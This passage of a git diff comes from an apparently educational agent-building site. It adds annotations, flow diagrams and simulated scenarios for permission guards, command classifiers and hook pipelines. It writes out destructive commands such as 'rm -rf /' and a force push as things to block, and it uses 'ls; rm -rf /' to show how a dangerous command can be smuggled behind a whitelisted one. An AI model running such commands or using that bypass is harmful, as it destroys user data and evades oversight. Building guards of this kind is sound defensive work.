? "hooks.fire('PostToolUse', name, result)"
|
||||
: "PreHook → Classify → Permission → Execute → PostHook"}
|
||||
</code>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<StepControls
|
||||
currentStep={currentStep}
|
||||
totalSteps={totalSteps}
|
||||
onPrev={prev}
|
||||
onNext={next}
|
||||
onReset={reset}
|
||||
isPlaying={isPlaying}
|
||||
onToggleAutoPlay={toggleAutoPlay}
|
||||
stepTitle={stepInfo.title}
|
||||
stepDescription={stepInfo.desc}
|
||||
/>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
47
web/src/data/annotations/s13.json
Normal file
47
web/src/data/annotations/s13.json
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
{
|
||||
"version": "s13",
|
||||
"decisions": [
|
||||
{
|
||||
"id": "spectrum-not-binary",
|
||||
"title": "Permission as a Spectrum, Not a Switch",
|
||||
"description": "Most security systems treat commands as allowed or denied. s13 introduces five modes: allow, ask, deny, auto_edit, and edit. This spectrum lets the harness auto-approve safe commands (ls, cat) while blocking catastrophes (rm -rf /) and escalating uncertain cases to the user. The edit mode is particularly useful: it rewrites rm -rf to rm -r, removing the force flag without blocking the operation entirely.",
|
||||
"alternatives": "A simple allow/deny list is easier to implement but forces a binary choice on every command. The user either approves everything or nothing. The five-mode spectrum gives the harness nuance: it can handle 90% of commands automatically and only escalate the genuinely ambiguous ones.",
|
||||
"zh": {
|
||||
"title": "权限是光谱,不是开关",
|
||||
"description": "大多数安全系统将命令视为允许或拒绝。s13 引入五种模式:allow、ask、deny、auto_edit 和 edit。这个光谱让 Harness 自动批准安全命令(ls、cat),同时阻止灾难性操作(rm -rf /),将不确定的情况上报给用户。edit 模式特别有用:它将 rm -rf 改写为 rm -r,去掉了强制标志但不完全阻止操作。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "権限はスイッチではなくスペクトラム",
|
||||
"description": "ほとんどのセキュリティシステムはコマンドを許可または拒否として扱う。s13は5つのモードを導入する:allow、ask、deny、auto_edit、edit。このスペクトラムにより、安全なコマンド(ls、cat)は自動承認し、破壊的操作(rm -rf /)はブロックし、不確実なケースはユーザーに確認できる。"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "compound-command-detection",
|
||||
"title": "Detecting Compound Commands",
|
||||
"description": "The whitelist check only looks at the first token of a command. Without compound detection, ls; rm -rf / would pass because ls is whitelisted. s13 adds a regex check for shell metacharacters (;, &, |, `, $()) before whitelist approval. This prevents an attacker (or confused model) from smuggling dangerous commands behind a safe prefix.",
|
||||
"alternatives": "A full shell parser (like tree-sitter-bash) would be more accurate but adds a heavy dependency. The regex approach catches 99% of compound commands in practice, and the LLM classifier (s14) handles the remaining edge cases.",
|
||||
"zh": {
|
||||
"title": "复合命令检测",
|
||||
"description": "白名单检查只看命令的第一个 token。没有复合检测的话,ls; rm -rf / 会通过,因为 ls 在白名单中。s13 在白名单批准前添加了 shell 元字符(;、&、|、`、$())的正则检查,防止危险命令藏在安全前缀后面。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "複合コマンドの検出",
|
||||
"description": "ホワイトリストチェックはコマンドの最初のトークンのみを見る。複合検出がなければ、ls; rm -rf / が ls はホワイトリストにあるため通過してしまう。s13はホワイトリスト承認前にシェルメタ文字(;、&、|、`、$())の正規チェックを追加し、安全なプレフィックスの背後に危険なコマンドが隠れるのを防ぐ。"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "deny-first-priority",
|
||||
"title": "Deny Rules Run First",
|
||||
"description": "The classify() method checks deny patterns before the whitelist. This means even if a command starts with a whitelisted tool, if it contains a denied pattern anywhere, it gets blocked. This 'safety first' ordering ensures that dangerous patterns can never be bypassed by a whitelist match.",
|
||||
"alternatives": "Checking whitelist first would be faster for the common case (most commands are safe) but could miss dangerous suffixes. The deny-first ordering trades a small performance cost for guaranteed safety.",
|
||||
"zh": {
|
||||
"title": "拒绝规则优先执行",
|
||||
"description": "classify() 方法在白名单之前检查拒绝模式。这意味着即使命令以白名单工具开头,只要包含拒绝模式就会被阻止。这种'安全优先'的顺序确保危险模式永远不会被白名单绕过。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "拒否ルールを最初に実行",
|
||||
"description": "classify()メソッドはホワイトリストの前に拒否パターンをチェックする。つまり、コマンドがホワイトリストツールで始まっていても、拒否パターンが含まれていればブロックされる。この「安全第一」の順序により、危険なパターンがホワイトリスト一致でバイパスされることはない。"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
47
web/src/data/annotations/s14.json
Normal file
47
web/src/data/annotations/s14.json
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
{
|
||||
"version": "s14",
|
||||
"decisions": [
|
||||
{
|
||||
"id": "two-layer-classification",
|
||||
"title": "Two Layers: Regex + LLM",
|
||||
"description": "Regex patterns are fast (zero cost) but can only match shapes, not intent. LLM classification understands intent but costs ~10 tokens per call. The two-layer pipeline gets the best of both: Layer 1 (regex) instantly blocks known dangerous patterns at zero cost, and only unknown commands reach Layer 2 (LLM) for semantic analysis.",
|
||||
"alternatives": "Using only regex would miss novel attack vectors. Using only LLM would be too slow and expensive for every command. The two-layer approach amortizes cost: most commands are resolved by Layer 1, and the LLM only fires for ambiguous cases.",
|
||||
"zh": {
|
||||
"title": "两层分类:正则 + LLM",
|
||||
"description": "正则模式速度快(零成本)但只能匹配形状,不理解意图。LLM 分类理解意图但每次调用花费约 10 tokens。两层管线兼得两者优势:Layer 1(正则)以零成本即时拦截已知危险模式,只有未知命令才到达 Layer 2(LLM)进行语义分析。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "2層分類:正規表現 + LLM",
|
||||
"description": "正規パターンは高速(ゼロコスト)だが形状しかマッチできず、意図を理解できない。LLM分類は意図を理解するが呼び出しごとに約10トークンかかる。2層パイプラインは両方の利点を得る:Layer 1(正規表現)が既知の危険パターンをゼロコストで即座にブロックし、未知のコマンドのみがLayer 2(LLM)に到達する。"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "moderate-as-default",
|
||||
"title": "Moderate as the Safe Default",
|
||||
"description": "When the LLM classifier fails (API error, timeout, unparseable response), it defaults to 'moderate', which maps to 'ask' mode. This means the user gets prompted instead of the command being auto-approved or silently denied. It's the safest fallback: it doesn't block legitimate work, but it doesn't let dangerous commands through either.",
|
||||
"alternatives": "Defaulting to 'allow' would be dangerous -- a classifier failure could let catastrophic commands through. Defaulting to 'deny' would be too aggressive, blocking legitimate work when the API is flaky. 'Moderate/ask' is the Goldilocks zone.",
|
||||
"zh": {
|
||||
"title": "Moderate 作为安全默认值",
|
||||
"description": "当 LLM 分类器失败(API 错误、超时、无法解析的响应)时,默认返回 'moderate',对应 'ask' 模式。用户被提示确认,而不是命令被自动批准或静默拒绝。这是最安全的回退:不阻塞合法工作,也不让危险命令通过。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "Moderateを安全なデフォルトに",
|
||||
"description": "LLM分類器が失敗した場合(APIエラー、タイムアウト、解析不能なレスポンス)、デフォルトで'moderate'を返し、'ask'モードにマップされる。ユーザーに確認が求められ、コマンドが自動承認または黙って拒否されることはない。"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "classifier-source-tracking",
|
||||
"title": "Source Tracking in Classification Results",
|
||||
"description": "Each classification result includes a 'source' field: 'pattern', 'whitelist', or 'llm'. This lets the user and developers understand why a command was approved or denied. It's also valuable for debugging: if a command is incorrectly classified, the source field tells you which layer made the mistake.",
|
||||
"alternatives": "Without source tracking, debugging misclassifications requires reading logs and guessing which layer produced the result. The source field adds one field to the response but saves hours of debugging time.",
|
||||
"zh": {
|
||||
"title": "分类结果的来源追踪",
|
||||
"description": "每个分类结果包含一个 'source' 字段:'pattern'、'whitelist' 或 'llm'。这让用户和开发者理解为什么命令被批准或拒绝。它对调试也很有价值:如果命令被错误分类,source 字段告诉你哪一层犯了错误。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "分類結果のソース追跡",
|
||||
"description": "各分類結果には'source'フィールドが含まれる:'pattern'、'whitelist'、または'llm'。これによりユーザーと開発者はコマンドが承認または拒否された理由を理解できる。デバッグにも価値がある:コマンドが誤って分類された場合、sourceフィールドがどの層で間違いが起きたかを教える。"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
47
web/src/data/annotations/s17.json
Normal file
47
web/src/data/annotations/s17.json
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
{
|
||||
"version": "s17",
|
||||
"decisions": [
|
||||
{
|
||||
"id": "pipeline-over-monolith",
|
||||
"title": "Pipeline Over Monolith",
|
||||
"description": "s17 composes four independent systems (hooks, classifier, permission, MCP) into a single execution pipeline. Each layer answers exactly one question and knows nothing about the others. This separation of concerns means you can add, remove, or reorder layers without touching the others. It's the Unix philosophy applied to agent security: do one thing well.",
|
||||
"alternatives": "A monolithic security function that combines all checks in one place would be simpler to write but harder to maintain. When you need to change how one layer works, you'd have to understand the entire function. The pipeline approach lets you modify one layer independently.",
|
||||
"zh": {
|
||||
"title": "管线优于单体",
|
||||
"description": "s17 将四个独立系统(hooks、分类器、权限、MCP)组合为一条执行管线。每层只回答一个问题,对其他层一无所知。这种关注点分离意味着你可以添加、移除或重排层而不影响其他层。这是 Unix 哲学在 Agent 安全中的应用:做好一件事。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "モノリスよりパイプライン",
|
||||
"description": "s17は4つの独立したシステム(フック、分類器、権限、MCP)を単一の実行パイプラインに構成する。各層は1つの質問にのみ答え、他の層について何も知らない。この関心の分離により、他の層に触れることなく層の追加、削除、並べ替えが可能になる。"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "execute-tool-single-entry",
|
||||
"title": "Single Entry Point for All Tools",
|
||||
"description": "Every tool call goes through execute_tool(), which runs the full 5-layer pipeline. There's no way to bypass the pipeline by calling a handler directly -- the agent loop only calls execute_tool(). This 'chokepoint' design ensures that no tool execution can skip security checks, even as new tools are added.",
|
||||
"alternatives": "Letting each tool handler call security checks independently would create gaps: a new handler might forget to add the check. A single entry point enforces security by construction.",
|
||||
"zh": {
|
||||
"title": "所有工具的单一入口点",
|
||||
"description": "每个工具调用都通过 execute_tool(),运行完整的 5 层管线。无法通过直接调用 handler 绕过管线 -- agent 循环只调用 execute_tool()。这种'咽喉点'设计确保没有工具执行能跳过安全检查,即使添加了新工具。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "全ツールの単一エントリポイント",
|
||||
"description": "すべてのツール呼び出しはexecute_tool()を経由し、完全な5層パイプラインを実行する。ハンドラーを直接呼び出してパイプラインをバイパスする方法はない。この「チョークポイント」設計により、新しいツールが追加されてもセキュリティチェックをスキップできない。"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "bash-only-classification",
|
||||
"title": "Classification Only for Bash",
|
||||
"description": "The classifier and permission guard only apply to bash commands, not to read_file, write_file, or edit_file. File tools already have path sandboxing (safe_path), and their scope is inherently limited. Bash is the Swiss Army knife -- it can do anything, including destroying your system -- so it needs the extra scrutiny.",
|
||||
"alternatives": "Classifying every tool call would be more thorough but wasteful. read_file can't delete files, write_file can only write within the workspace, and edit_file does surgical replacements. Only bash has the power to execute arbitrary commands.",
|
||||
"zh": {
|
||||
"title": "仅对 Bash 命令分类",
|
||||
"description": "分类器和权限守卫仅适用于 bash 命令,不适用于 read_file、write_file 或 edit_file。文件工具已有路径沙箱(safe_path),其范围本身有限。Bash 是万能工具 -- 它可以做任何事,包括破坏系统 -- 所以需要额外的审查。"
|
||||
},
|
||||
"ja": {
|
||||
"title": "Bashのみ分類",
|
||||
"description": "分類器と権限ガードはbashコマンドにのみ適用され、read_file、write_file、edit_fileには適用されない。ファイルツールには既にパスサンドボックス(safe_path)があり、bashのみが任意のコマンドを実行できる力を持つため、追加の審査が必要。"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -274,17 +274,17 @@ export const EXECUTION_FLOWS: Record<string, FlowDefinition> = {
|
|||
s12: {
|
||||
nodes: [
|
||||
{ id: "start", label: "User Input", type: "start", x: COL_CENTER, y: 30 },
|
||||
{ id: "llm", label: "LLM Call", type: "process", x: COL_CENTER, y: 110 },
|
||||
{ id: "tool_check", label: "tool_use?", type: "decision", x: COL_CENTER, y: 190 },
|
||||
{ id: "is_wt", label: "worktree tool?", type: "decision", x: COL_LEFT, y: 280 },
|
||||
{ id: "task", label: "Task Board\\n(.tasks)", type: "process", x: 60, y: 360 },
|
||||
{ id: "wt_create", label: "Allocate / Enter\\nWorktree", type: "subprocess", x: 60, y: 440 },
|
||||
{ id: "wt_run", label: "Run in\\nIsolated Dir", type: "subprocess", x: COL_LEFT + 80, y: 360 },
|
||||
{ id: "wt_close", label: "Closeout:\\nworktree_keep / remove", type: "process", x: COL_LEFT + 80, y: 440 },
|
||||
{ id: "events", label: "Emit Lifecycle Events\\n(side-channel)", type: "process", x: COL_RIGHT, y: 420 },
|
||||
{ id: "events_read", label: "Optional Read\\nworktree_events", type: "subprocess", x: COL_RIGHT, y: 520 },
|
||||
{ id: "append", label: "Append Result", type: "process", x: COL_CENTER, y: 530 },
|
||||
{ id: "end", label: "Output", type: "end", x: COL_RIGHT, y: 280 },
|
||||
{ id: "llm", label: "LLM Call", type: "process", x: COL_CENTER, y: 100 },
|
||||
{ id: "tool_check", label: "tool_use?", type: "decision", x: COL_CENTER, y: 175 },
|
||||
{ id: "is_wt", label: "worktree tool?", type: "decision", x: 180, y: 265 },
|
||||
{ id: "end", label: "Output", type: "end", x: 460, y: 175 },
|
||||
{ id: "task", label: "Task Board\n(.tasks)", type: "process", x: 30, y: 365 },
|
||||
{ id: "wt_create", label: "Create/Bind\nWorktree", type: "subprocess", x: 180, y: 365 },
|
||||
{ id: "wt_run", label: "Run in\nIsolated Dir", type: "subprocess", x: 340, y: 365 },
|
||||
{ id: "wt_close", label: "Closeout", type: "process", x: 340, y: 460 },
|
||||
{ id: "events", label: "Lifecycle Events\n(side-channel)", type: "process", x: 460, y: 265 },
|
||||
{ id: "events_read", label: "Read Events", type: "subprocess", x: 460, y: 450 },
|
||||
{ id: "append", label: "Append Result", type: "process", x: COL_CENTER, y: 560 },
|
||||
],
|
||||
edges: [
|
||||
{ from: "start", to: "llm" },
|
||||
|
|
@ -296,15 +296,88 @@ export const EXECUTION_FLOWS: Record<string, FlowDefinition> = {
|
|||
{ from: "is_wt", to: "wt_run", label: "run/status" },
|
||||
{ from: "task", to: "wt_create", label: "allocate lane" },
|
||||
{ from: "wt_create", to: "wt_run" },
|
||||
{ from: "task", to: "append", label: "task result" },
|
||||
{ from: "wt_create", to: "events", label: "emit create" },
|
||||
{ from: "wt_create", to: "append", label: "create result" },
|
||||
{ from: "wt_run", to: "wt_close" },
|
||||
{ from: "wt_run", to: "append", label: "run/status result" },
|
||||
{ from: "wt_close", to: "events", label: "emit closeout" },
|
||||
{ from: "wt_close", to: "append", label: "closeout result" },
|
||||
{ from: "events", to: "events_read", label: "optional query" },
|
||||
{ from: "events_read", to: "append", label: "events result" },
|
||||
{ from: "is_wt", to: "events", label: "lifecycle" },
|
||||
{ from: "events", to: "events_read" },
|
||||
{ from: "wt_close", to: "append" },
|
||||
{ from: "events_read", to: "append" },
|
||||
{ from: "append", to: "llm" },
|
||||
],
|
||||
},
|
||||
s13: {
|
||||
nodes: [
|
||||
{ id: "start", label: "User Input", type: "start", x: COL_CENTER, y: 30 },
|
||||
{ id: "llm", label: "LLM Call", type: "process", x: COL_CENTER, y: 110 },
|
||||
{ id: "tool_check", label: "tool_use?", type: "decision", x: COL_CENTER, y: 190 },
|
||||
{ id: "is_bash", label: "bash?", type: "decision", x: COL_LEFT, y: 280 },
|
||||
{ id: "guard", label: "PermissionGuard\nclassify()", type: "decision", x: 60, y: 380 },
|
||||
{ id: "exec", label: "Execute Tool", type: "subprocess", x: COL_LEFT + 100, y: 380 },
|
||||
{ id: "append", label: "Append Result", type: "process", x: COL_CENTER, y: 520 },
|
||||
{ id: "end", label: "Output", type: "end", x: COL_RIGHT, y: 280 },
|
||||
],
|
||||
edges: [
|
||||
{ from: "start", to: "llm" },
|
||||
{ from: "llm", to: "tool_check" },
|
||||
{ from: "tool_check", to: "is_bash", label: "yes" },
|
||||
{ from: "tool_check", to: "end", label: "no" },
|
||||
{ from: "is_bash", to: "guard", label: "yes" },
|
||||
{ from: "is_bash", to: "exec", label: "no" },
|
||||
{ from: "guard", to: "exec", label: "allow" },
|
||||
{ from: "guard", to: "append", label: "deny" },
|
||||
{ from: "exec", to: "append" },
|
||||
{ from: "append", to: "llm" },
|
||||
],
|
||||
},
|
||||
s14: {
|
||||
nodes: [
|
||||
{ id: "start", label: "User Input", type: "start", x: COL_CENTER, y: 30 },
|
||||
{ id: "llm", label: "LLM Call", type: "process", x: COL_CENTER, y: 110 },
|
||||
{ id: "tool_check", label: "tool_use?", type: "decision", x: COL_CENTER, y: 190 },
|
||||
{ id: "is_bash", label: "bash?", type: "decision", x: COL_LEFT, y: 280 },
|
||||
{ id: "quick", label: "Layer 1\nRegex Quick-Scan", type: "process", x: 100, y: 380 },
|
||||
{ id: "llm_cls", label: "Layer 2\nLLM Classify", type: "subprocess", x: 60, y: 490 },
|
||||
{ id: "exec", label: "Execute Tool", type: "subprocess", x: COL_LEFT + 120, y: 380 },
|
||||
{ id: "append", label: "Append Result", type: "process", x: COL_CENTER, y: 600 },
|
||||
{ id: "end", label: "Output", type: "end", x: COL_RIGHT, y: 280 },
|
||||
],
|
||||
edges: [
|
||||
{ from: "start", to: "llm" },
|
||||
{ from: "llm", to: "tool_check" },
|
||||
{ from: "tool_check", to: "is_bash", label: "yes" },
|
||||
{ from: "tool_check", to: "end", label: "no" },
|
||||
{ from: "is_bash", to: "quick", label: "yes" },
|
||||
{ from: "is_bash", to: "exec", label: "no" },
|
||||
{ from: "quick", to: "append", label: "deny" },
|
||||
{ from: "quick", to: "llm_cls", label: "no match" },
|
||||
{ from: "llm_cls", to: "exec", label: "safe" },
|
||||
{ from: "llm_cls", to: "append", label: "deny" },
|
||||
{ from: "exec", to: "append" },
|
||||
{ from: "append", to: "llm" },
|
||||
],
|
||||
},
|
||||
s17: {
|
||||
nodes: [
|
||||
{ id: "start", label: "User Input", type: "start", x: COL_CENTER, y: 30 },
|
||||
{ id: "llm", label: "LLM Call", type: "process", x: COL_CENTER, y: 100 },
|
||||
{ id: "tool_check", label: "tool_use?", type: "decision", x: COL_CENTER, y: 180 },
|
||||
{ id: "pre_hook", label: "[1] PreToolUse\nHook", type: "process", x: 60, y: 270 },
|
||||
{ id: "classify", label: "[2] Classify\n+ [3] Permission", type: "decision", x: 60, y: 370 },
|
||||
{ id: "exec", label: "[4] Execute\n(handler / MCP)", type: "subprocess", x: COL_LEFT + 100, y: 270 },
|
||||
{ id: "post_hook", label: "[5] PostToolUse\nHook", type: "process", x: COL_RIGHT - 40, y: 370 },
|
||||
{ id: "append", label: "Append Result", type: "process", x: COL_CENTER, y: 490 },
|
||||
{ id: "end", label: "Output", type: "end", x: COL_RIGHT, y: 180 },
|
||||
],
|
||||
edges: [
|
||||
{ from: "start", to: "llm" },
|
||||
{ from: "llm", to: "tool_check" },
|
||||
{ from: "tool_check", to: "pre_hook", label: "yes" },
|
||||
{ from: "tool_check", to: "end", label: "no" },
|
||||
{ from: "pre_hook", to: "classify", label: "pass" },
|
||||
{ from: "pre_hook", to: "append", label: "block" },
|
||||
{ from: "classify", to: "exec", label: "allow" },
|
||||
{ from: "classify", to: "append", label: "deny" },
|
||||
{ from: "exec", to: "post_hook" },
|
||||
{ from: "post_hook", to: "append" },
|
||||
{ from: "append", to: "llm" },
|
||||
],
|
||||
},
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
51
web/src/data/scenarios/s13.json
Normal file
51
web/src/data/scenarios/s13.json
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
{
|
||||
"version": "s13",
|
||||
"title": "Permission Guard",
|
||||
"description": "An agent with a permission model that classifies commands before execution",
|
||||
"steps": [
|
||||
{
|
||||
"type": "user_message",
|
||||
"content": "List all files and then delete temp.log",
|
||||
"annotation": "User sends a multi-step task"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "I'll list the files first, then delete temp.log.",
|
||||
"annotation": "Model plans two tool calls"
|
||||
},
|
||||
{
|
||||
"type": "tool_call",
|
||||
"content": "ls -la",
|
||||
"toolName": "bash",
|
||||
"annotation": "ls is in ALLOWED_COMMANDS -> auto-allow"
|
||||
},
|
||||
{
|
||||
"type": "tool_result",
|
||||
"content": "temp.log hello.py README.md",
|
||||
"toolName": "bash",
|
||||
"annotation": "Allowed: ls is a safe read-only command"
|
||||
},
|
||||
{
|
||||
"type": "tool_call",
|
||||
"content": "rm temp.log",
|
||||
"toolName": "bash",
|
||||
"annotation": "rm matches ASK_PATTERNS -> needs user confirmation"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[permission:ask] File deletion\n Command: rm temp.log\n Allow? (y/n) y",
|
||||
"annotation": "PermissionGuard classifies as 'ask' mode, user approves"
|
||||
},
|
||||
{
|
||||
"type": "tool_result",
|
||||
"content": "(file deleted)",
|
||||
"toolName": "bash",
|
||||
"annotation": "Command executed after user approval"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "Done! Listed files and deleted temp.log.",
|
||||
"annotation": "Both operations completed with appropriate permission checks"
|
||||
}
|
||||
]
|
||||
}
|
||||
51
web/src/data/scenarios/s14.json
Normal file
51
web/src/data/scenarios/s14.json
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
{
|
||||
"version": "s14",
|
||||
"title": "Security Classifier",
|
||||
"description": "Two-layer command classification: regex quick-scan + LLM intent analysis",
|
||||
"steps": [
|
||||
{
|
||||
"type": "user_message",
|
||||
"content": "Clean up the build directory and check git status",
|
||||
"annotation": "User asks for potentially dangerous operations"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "I'll remove the build directory and check git status.",
|
||||
"annotation": "Model plans two operations of different risk levels"
|
||||
},
|
||||
{
|
||||
"type": "tool_call",
|
||||
"content": "rm -rf build/",
|
||||
"toolName": "bash",
|
||||
"annotation": "Quick scan: no dangerous pattern match -> needs LLM classification"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[Layer 1: pass] No pattern match\n[Layer 2: LLM] -> moderate\n[security:moderate] Allow? (y/n) y",
|
||||
"annotation": "LLM classifies 'rm -rf build/' as moderate risk, user approves"
|
||||
},
|
||||
{
|
||||
"type": "tool_result",
|
||||
"content": "(build directory removed)",
|
||||
"toolName": "bash",
|
||||
"annotation": "Executed after LLM classification and user approval"
|
||||
},
|
||||
{
|
||||
"type": "tool_call",
|
||||
"content": "git status",
|
||||
"toolName": "bash",
|
||||
"annotation": "git is in SAFE_COMMANDS whitelist -> zero-cost auto-allow"
|
||||
},
|
||||
{
|
||||
"type": "tool_result",
|
||||
"content": "On branch main\nnothing to commit",
|
||||
"toolName": "bash",
|
||||
"annotation": "Whitelist: no classifier call needed"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "Build directory cleaned and git status checked.",
|
||||
"annotation": "Both operations completed with appropriate classification"
|
||||
}
|
||||
]
|
||||
}
|
||||
76
web/src/data/scenarios/s17.json
Normal file
76
web/src/data/scenarios/s17.json
Normal file
|
|
@ -0,0 +1,76 @@
|
|||
{
|
||||
"version": "s17",
|
||||
"title": "Secure Extension Harness",
|
||||
"description": "Full security pipeline: Hook -> Classify -> Permission -> Execute -> PostHook",
|
||||
"steps": [
|
||||
{
|
||||
"type": "user_message",
|
||||
"content": "Check git log and then force push to origin",
|
||||
"annotation": "User mixes safe and dangerous operations"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[AgentStart] hook fired",
|
||||
"annotation": "[Layer 1] AgentStart lifecycle hook triggers"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "I'll check the git log first.",
|
||||
"annotation": "Model starts with the safe operation"
|
||||
},
|
||||
{
|
||||
"type": "tool_call",
|
||||
"content": "git log --oneline -5",
|
||||
"toolName": "bash",
|
||||
"annotation": "Passes through all security layers"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[PreToolUse] hook -> pass\n[PreBash] hook -> audit logged\n[Classifier] whitelist: git -> allow",
|
||||
"annotation": "[Layers 1-3] PreHook passes, audit logged, classifier whitelist"
|
||||
},
|
||||
{
|
||||
"type": "tool_result",
|
||||
"content": "a1b2c3d Fix bug\ne4f5g6h Add feature\ni7j8k9l Update docs",
|
||||
"toolName": "bash",
|
||||
"annotation": "Safe command passed all 5 layers"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[PostToolUse] hook -> auto_git_add skipped\n[PostBash] hook -> pass",
|
||||
"annotation": "[Layer 5] PostHooks fire (no side effects for git log)"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "Now I'll force push to origin.",
|
||||
"annotation": "Model attempts the dangerous operation"
|
||||
},
|
||||
{
|
||||
"type": "tool_call",
|
||||
"content": "git push --force origin main",
|
||||
"toolName": "bash",
|
||||
"annotation": "This should be blocked by the security pipeline"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[PreToolUse] hook -> pass\n[PreBash] hook -> audit logged\n[Classifier] pattern match: 'Force push' -> DENY",
|
||||
"annotation": "[Layer 2] Quick scan catches force push pattern -> denied immediately"
|
||||
},
|
||||
{
|
||||
"type": "tool_result",
|
||||
"content": "Security denied: Force push",
|
||||
"toolName": "bash",
|
||||
"annotation": "Blocked at Layer 2, never reaches execution"
|
||||
},
|
||||
{
|
||||
"type": "assistant_text",
|
||||
"content": "I can't force push as it's blocked by security policy. Would you like me to push normally instead?",
|
||||
"annotation": "Model acknowledges the security block and suggests an alternative"
|
||||
},
|
||||
{
|
||||
"type": "system_event",
|
||||
"content": "[AgentStop] hook fired",
|
||||
"annotation": "[Layer 1] AgentStop lifecycle hook triggers"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -1,18 +1,19 @@
|
|||
{
|
||||
"meta": { "title": "Learn Claude Code", "description": "Build a nano Claude Code-like agent from 0 to 1, one mechanism at a time" },
|
||||
"nav": { "home": "Home", "timeline": "Timeline", "compare": "Compare", "layers": "Layers", "github": "GitHub" },
|
||||
"home": { "hero_title": "Learn Claude Code", "hero_subtitle": "Build a nano Claude Code-like agent from 0 to 1, one mechanism at a time", "start": "Start Learning", "core_pattern": "The Core Pattern", "core_pattern_desc": "Every AI coding agent shares the same loop: call the model, execute tools, feed results back. Production systems add policy, permissions, and lifecycle layers on top.", "learning_path": "Learning Path", "learning_path_desc": "12 progressive sessions, from a simple loop to isolated autonomous execution", "layers_title": "Architectural Layers", "layers_desc": "Five orthogonal concerns that compose into a complete agent", "loc": "LOC", "learn_more": "Learn More", "versions_in_layer": "versions", "message_flow": "Message Growth", "message_flow_desc": "Watch the messages array grow as the agent loop executes" },
|
||||
"home": { "hero_title": "Learn Claude Code", "hero_subtitle": "Build a nano Claude Code-like agent from 0 to 1, one mechanism at a time", "start": "Start Learning", "core_pattern": "The Core Pattern", "core_pattern_desc": "Every AI coding agent shares the same loop: call the model, execute tools, feed results back. Production systems add policy, permissions, and lifecycle layers on top.", "learning_path": "Learning Path", "learning_path_desc": "17 progressive sessions, from a simple loop to secure extensible execution", "layers_title": "Architectural Layers", "layers_desc": "Five orthogonal concerns that compose into a complete agent", "loc": "LOC", "learn_more": "Learn More", "versions_in_layer": "versions", "message_flow": "Message Growth", "message_flow_desc": "Watch the messages array grow as the agent loop executes" },
|
||||
"version": { "loc": "lines of code", "tools": "tools", "new": "New", "prev": "Previous", "next": "Next", "view_source": "View Source", "view_diff": "View Diff", "design_decisions": "Design Decisions", "whats_new": "What's New", "tutorial": "Tutorial", "simulator": "Agent Loop Simulator", "execution_flow": "Execution Flow", "architecture": "Architecture", "concept_viz": "Concept Visualization", "alternatives": "Alternatives Considered", "tab_learn": "Learn", "tab_simulate": "Simulate", "tab_code": "Code", "tab_deep_dive": "Deep Dive" },
|
||||
"sim": { "play": "Play", "pause": "Pause", "step": "Step", "reset": "Reset", "speed": "Speed", "step_of": "of" },
|
||||
"timeline": { "title": "Learning Path", "subtitle": "s01 to s12: Progressive Agent Design", "layer_legend": "Layer Legend", "loc_growth": "LOC Growth", "learn_more": "Learn More" },
|
||||
"timeline": { "title": "Learning Path", "subtitle": "s01 to s17: Progressive Agent Design", "layer_legend": "Layer Legend", "loc_growth": "LOC Growth", "learn_more": "Learn More" },
|
||||
"layers": {
|
||||
"title": "Architectural Layers",
|
||||
"subtitle": "Five orthogonal concerns that compose into a complete agent",
|
||||
"subtitle": "Six orthogonal concerns that compose into a complete agent",
|
||||
"tools": "What the agent CAN do. The foundation: tools give the model capabilities to interact with the world.",
|
||||
"planning": "How work is organized. From simple todo lists to dependency-aware task boards shared across agents.",
|
||||
"memory": "Keeping context within limits. Compression strategies that let agents work infinitely without losing coherence.",
|
||||
"concurrency": "Non-blocking execution. Background threads and notification buses for parallel work.",
|
||||
"collaboration": "Multi-agent coordination. Teams, messaging, and autonomous teammates that think for themselves."
|
||||
"collaboration": "Multi-agent coordination. Teams, messaging, and autonomous teammates that think for themselves.",
|
||||
"security": "Protecting the user from the agent. Permission models, security classifiers, lifecycle hooks, and external tool protocols."
|
||||
},
|
||||
"compare": {
|
||||
"title": "Compare Versions",
|
||||
|
|
@ -50,14 +51,20 @@
|
|||
"s09": "Agent Teams",
|
||||
"s10": "Team Protocols",
|
||||
"s11": "Autonomous Agents",
|
||||
"s12": "Worktree + Task Isolation"
|
||||
"s12": "Worktree + Task Isolation",
|
||||
